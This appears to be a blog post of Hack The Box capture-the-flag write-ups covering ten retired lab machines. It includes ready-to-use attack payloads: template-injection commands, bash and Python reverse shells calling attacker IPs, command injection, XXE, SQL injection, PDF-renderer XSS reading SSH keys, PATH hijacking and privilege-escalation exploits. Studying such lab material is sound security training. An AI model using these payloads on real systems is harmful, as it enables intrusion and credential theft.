HTB Boxes

Because there already exists so many writeups on these retired boxes, I decided to just list the interesting boxes I’ve completed, and the general approach I took to solve them.

There are more boxes done than displayed here, because some of them were really simple (metasploit one-liner) and hence not really worth including.

Easy Boxes

nunchucks

User

  1. wfuzz to find subdomain

We find the page store.nunchucks.htb

  1. SSTI

When entering the email, its vulnerable to SSTI

http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine

Enter as email {{range.constructor("return global.process.mainModule.require('child_process').execSync('cat /home/david/user.txt')")()}}@email.com

  1. SSH
  • Enter as email {{range.constructor("return global.process.mainModule.require('child_process').execSync('mkdir /home/david/.ssh')")()}}@email.com
  • Enter as email {{range.constructor("return global.process.mainModule.require('child_process').execSync('touch /home/david/.ssh/authorized_keys')")()}}@email.com
  • Enter as email {{range.constructor("return global.process.mainModule.require('child_process').execSync('echo >> /home/david/.ssh/authorized_keys')")()}}@email.com

Root

Find /opt/backup.pl, and it runs POSIX::setuid(0);, which means that perl has setuid capabilities

https://gtfobins.github.io/gtfobins/perl/#capabilities

but this fails. We find an AppArmor bug instead

https://bugs.launchpad.net/apparmor/+bug/1911431

#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);

exec "cat /root/root.txt"

$ ./a.pl

secret

User

  1. Get the token for JWT signing
  • download the entire folder
  • git log
  • git checkout the suspicious one
  • get the keys
  1. theadmin

looking at the code, it only checks for the value 'name':'theadmin' to be authenticated as admin

craft a jwt with the value 'name':'theadmin' and sign it with the key found earlier

  1. /api/logs

looking at the source code, we see the any requests to /api/logs?file= will execute a shell command

we can inject commands by sending ;

url encode a reverse shell, and we get a connection as dasith

cat /home/dasith/user.txt

Root

  1. find SUID
$ find / -perm -u=s -type f 2>/dev/null
$ /opt/count

/opt/count reads a file and prints the count of words/lines

  1. Trigger a crash

we see that valgrind does crash report analysis

the run /opt/count and read in /root/root.txt and trigger a crash

$ ps aux | grep count
$ kill -BUS 

the crash data is located at /var/crash/_opt_count.1000.crash

  1. getting data from the crash
$ apport-unpack _opt_count.1000.crash /tmp/crashed
$ cd /tmp/crash
$ strings CoreDump

find the root flag value in the CoreDump

antique

User

  1. nmap TCP UDP

TCP: 23

UDP: 161

  1. SNMP Exploit

Connecting via telnet, we see that its running HP JetDirect, which has a vulnerability that allows passwords to be exfiltrated through SNMP

snmpwalk -v 2c -c public .1.3.6.1.4.1.11.2.3.9.1.1.13.0

Decode the hex, and you get the password for telnet

  1. telnet exec reverse shell

Once in telnet, you can exec commands, and read the user flag, or create a reverse shell connection

Root

  1. Port Forwarding

We see a service running on port 631

Use chisel to port forward

Attacker
sudo ./chisel server -p 8000 --reverse

Victim
./chisel client :8000 R:631:127.0.0.1:631
  1. CUPS vulnerability

Under Administrator->View Error Log, it reads whatever file is set as ErrorLog at the back end

cupsctl ErrorLog="/root/root.txt"

horizontall

User

  1. enumerate subdomains

`wfuzz -w /subdomains-top1million-110000.txt -u http://horizontall.htb/ -hc 301 -v -c -H "Host: FUZZ.horizontall.htb"

We find api-prod.horizontall.htb

  1. enumerating subdirectories

gobuster dir -u api-prod.horizontall.htb -w /usr/share/wordlists/dirb/common.txt

We get /admin as a subdirectoy, and going to it, we get redirected to /login

  1. RCE 1 – Reset Password

https://www.exploit-db.com/exploits/50239

This exploit allows you to reset the password for the user admin, and set it to SuperStringPassword1

  1. Logging in as admin and RCE 2

https://www.exploit-db.com/exploits/50238

This exploit requires the JWT generated by RCE, and it allows you to perform RCE.

Naturally, we call a reverse shell

python3 rce2.py http://api-prod.horizontall.htb  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM2NzY5MzQzLCJleHAiOjE2MzkzNjEzNDN9.u0Myxy4hAQoKjzE3UXx4YOVH27yGnGFtsEdBxScn9j8 "bash -c 'bash -i >& /dev/tcp/10.10.14.2/9998 >&1'" 10.10.14.2 

With this shell, we can get the user flag

Root

  1. Get listening services

ss -tuan | grep LISTEN

We see that a service is running on port 8000

  1. Port Forwarding

We port forward it to our attacker machine.

On the attacker machine, we copy our public key over to the victim machine, and put it in ~/.ssh/authorized_keys

We then run

ssh -i key -L 8000:127.0.0.1:8000 strapi@horizontall.htb

  1. RCE 3

Going to localhost:8000 on our attacker machine, we can see the service running of port 8000 on the victim machine

We see that it’s Larvarel v8, which has an RCE

https://github.com/nth347/CVE-2021-3129_exploit

`./exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt"

previse

User

  1. gobuster to discover directories and find php files
gobuster dir -x php -u 10.10.11.104 -w /usr/share/wordlists/dirb/common.txt


http://previse.htb/login.php            (Status: 200) [Size: 2224]
http://previse.htb/header.php           (Status: 200) [Size: 980] 
http://previse.htb/nav.php              (Status: 200) [Size: 1248]
http://previse.htb/download.php         (Status: 302) [Size: 0] [--> login.php]
http://previse.htb/index.php            (Status: 302) [Size: 2801] [--> login.php]
http://previse.htb/footer.php           (Status: 200) [Size: 217]                 
http://previse.htb/files.php            (Status: 302) [Size: 4914] [--> login.php]
http://previse.htb/css                  (Status: 301) [Size: 308] [--> http://previse.htb/css/]
http://previse.htb/status.php           (Status: 302) [Size: 2968] [--> login.php]             
http://previse.htb/js                   (Status: 301) [Size: 307] [--> http://previse.htb/js/] 
http://previse.htb/logout.php           (Status: 302) [Size: 0] [--> login.php]                
http://previse.htb/accounts.php         (Status: 302) [Size: 3994] [--> login.php]             
http://previse.htb/config.php           (Status: 200) [Size: 0]                                
http://previse.htb/logs.php             (Status: 302) [Size: 0] [--> login.php]                
http://previse.htb/server-status        (Status: 403) [Size: 276]

we see a few php files, most of them with status 302, which is a redirect.

  1. posting a request with while disallowing redirect

looking at the account.php, we can send a post request to add an account

import requests

url = "http://10.10.11.104/accounts.php"

data = {
        'username':'aaaaaa',
        'password':'aaaaaa',
        'confirm':'aaaaaa'
        }

r = requests.post(url, data=data, allow_redirects=False)

print(r.text)

  1. downloading the siteback up and reverse shell

Once we are able to login, we can download the site backup with all the files on the site. We see this file called logs.php, and it accepts a post request, followed by an exec with the POST variable delim



;1|nc 10.10.14.19 1337 >;/tmp/f"

data = {
        'delim':"; " + shell
        }

r = requests.post(url, data=data, headers=headers)
  1. MySQL db and hashcat

In the site back up, we also see a file config.php, which contains the database credentials.

Within our shell, we can login to MySQL locally, and extract the password

> mysql -u previse -p
Enter password: mySQL_p@ssw0rd!:)
select * from accounts;

id      username        password        created_at
1       m4lwhere        $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.        2021-05-27 18:18:36

using hashcast, we can crack the password

> cat $1$🧂llol$DQpmdvnb7EeuO6UaqRItf > hash

> hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt

Using that password, we ssh into the server and get the user flag

ssh m4lwhere@10.10.11.104
...
cat user.txt

Root

Once in as the user, we see that we can execute /opt/scripts/access_backups.sh

upon inspection, it calls a date binary

#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log> /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

We can inject the binary with our own, by creating a binary and adding it to our path

> echo "cp /root/root.txt /home/m4lwhere/" > ~/date

> echo "chmod 777 /home/m4lwhere/root.txt">> ~/date

> export PATH=/home/m4lwhere:$PATH

> sudo ./access_backups.sh

> cat /home/m4lwhere/root.txt

This way, the script searches our directory /home/m4lwhere for any binaries named date, and executes it.

bountyhunter

User

  1. Find the upload page http://10.10.11.100/log_submit.php
  2. When we submit a form, we see that it sends a POST request to http://10.10.11.100/tracker_diRbPr00f314.php
  3. We also observe the data that was sent over, which is a base64 encoding of an XML file
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmE8L2N3ZT4KCQk8Y3Zzcz5hPC9jdnNzPgoJCTxyZXdhcmQ+YTwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==


		
		a
		a
		a
		a
		
  1. From this, we can craft our own XML files and send it directly to http://10.10.11.100/tracker_diRbPr00f314.php
prints out all the users
---

<!DOCTYPE replace [ ]>
		
		&ent;
		a
		a
		a
		

get db.php file
---

<!DOCTYPE replace ]>
		
		&ent;
		a
		a
		a
		

After decoding the contents of db.php, we get a password

PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=

 Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Observing the contents of /etc/passwd, we see that only these 2 accounts have bash shell enabled

  • root
  • development

We try to ssh into the server using development and the password above

> ssh development@10.10.11.100

Get in and cat the flag.

Notes

It seems like we can’t directly LFI the contents of /home/development/user.txt via the XML exploit due to read permissions. The server was probably under the user www-data, while the permissions of user.txt was o:root g:development

Root

After logging in to get the shell, we see that we can run this command as sudo

sudo -l

/usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Looking at the script, tldr, eval is bad

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

We craft this file that prints the contents of root

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**25+1,print(open("/root/root.txt").read())

academy

User

  1. dirbust

Create a new account and dirbust the website. You will see admin.php which you can’t access as a normal user.

  1. roleid = admin

When registering for a new account, use burpsuite to intercept the uploaded data and set roleid=1 to gain access to admin.php

  1. Leaky Laravel Key

Browsing the page and looking at Envrionment Variables, we see that the Laravel APP_KEY is leaked. Using this, there is an exploit to achieve RCE and a reverse shell

https://www.exploit-db.com/exploits/47129

  1. Password reuse

Once on the machine, we cat .env to get a password, which is reused by other accounts on the machine, specifically cry0lt3

su cry0lt3

  1. adm group

cry0lt3 is part of the adm group, which allows him to read system logs under /var/log

Navigating to /var/log, we can inspect the audit files using aureport --tty which retrieves all information sent via TTY input

From there, we can sniff the password of mrb3n and get the user flag

Root

  1. sudo composer

Running sudo -l, we see that we can run composer as sudo

https://gtfobins.github.io/gtfobins/composer/#sudo

Medium Boxes

magic

User

Login with simple SQL injection

import requests

url = "http://magic.htb/login.php"

data = {
        'username':"admin' or 1=1; --",
        'password':""
        }

r = requests.post(url, data=data)

print(r.text)

Upload a malicious image file with php code injected into it.

You can do this via burpsuite to intercept the uploaded file, and add “ somewhere in the data

Name the file image.php.png for the file to be evaluated as a PHP file.

Get a reverse shell with the URL encoded command bash -c 'bash -i >& /dev/tcp// >&1'

Once in, we see that MySQL database is installed, but the mysql binary to interact with the database is missing.

However, we can interact with the database using the PHP mysql module.

setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);                                                                                  
   $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
   $stmt = $pdo->query("SELECT * FROM login");                                                 
   $user = $stmt->fetch();                                           
   Database::disconnect();
   foreach ($user as $value) {
     echo $value;
     echo "\n";
            }
 } catch (PDOException $e) {                                           
      echo "Error: " . $e->getMessage();
      echo "An SQL Error occurred!";          
}                              
?>

From this we get the user password and the flag

Root

SUID is allowed for /bin/sysinfo

We run ltrace on it and find that it calls free with no absolute path.

export PATH=~/:$PATH and create our own free binary to run commands as root, and get the root flag

book

User

SQL truncation attack to register admin@book.htb and another password, and now we can login as admin

When the admin views collections of books, it uses html2pdf to generate a PDF

We can submit a book with the name as a javascript to read local files

https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf


x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();

We see the user reader, and we read his SSH key in the same manner


x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///home/reader/.ssh/ids_rsa");x.send();

Now we can SSH in and get the user flag

Root

We run pspy64 and see logrotate running every few minutes.

There is an exploit with logrotate that we can leverage on

https://github.com/whotwagner/logrotten

payload: bash -i >& /dev/tcp/10.10.14.29/3333 0>&1

command: cp backups/access.log.1 backups/access.log; ./rotten -p payload /home/reader/backups/access.log

This returns a reverse connection from root, and we can read the root flag

obscurity

User

Leak the SuperSecretServer.py via burpsuite interception, and modify the GET requests to http://obscurity.htb:8080/../SuperSecureServer.py

Command injection is possible via the path sent. We can trigger remote code execution, and thus a reverse shell with

GET /';s%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.29",3333))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"]);' HTTP/1.1

Navigating to /home/robert, we see SuperSecureCrypt.py

check.txt becomes out.txt when it is passed through this program. To reverse the key, we simply switch their positions

$ python3 SuperSecureCrypt.py -d -i out.txt -o /dev/shm/key -k 'Encrypting this file with your key should result in out.txt, make sure your key is correct!'

################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file out.txt...
Decrypting...
Writing to /dev/shm/key...

$ cat /dev/shm/key

alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich

Using the key alexandrovich, we can do the same for passwordreminder.txt and get the password for robert

Root

Going to /home/robert/BetterSSH/BetterSSH,py, we see that it reads up /etc/shadow, writes the content to /tmp/SSH/<random letters>, and checks if the password you entered is equal to the hash value

This is a typical race condition, and we just need to run this script while executing BetterSSH.py

while true
do
        cp /tmp/SSH/* /dev/shm/
done

After we got the hash of the root password, we crack it with hashcat hashcat -m 1800 -a 0 hash /usr/share/wordlists/rockyou.txt

Switch to user root to get the root flag

%d bloggers like this: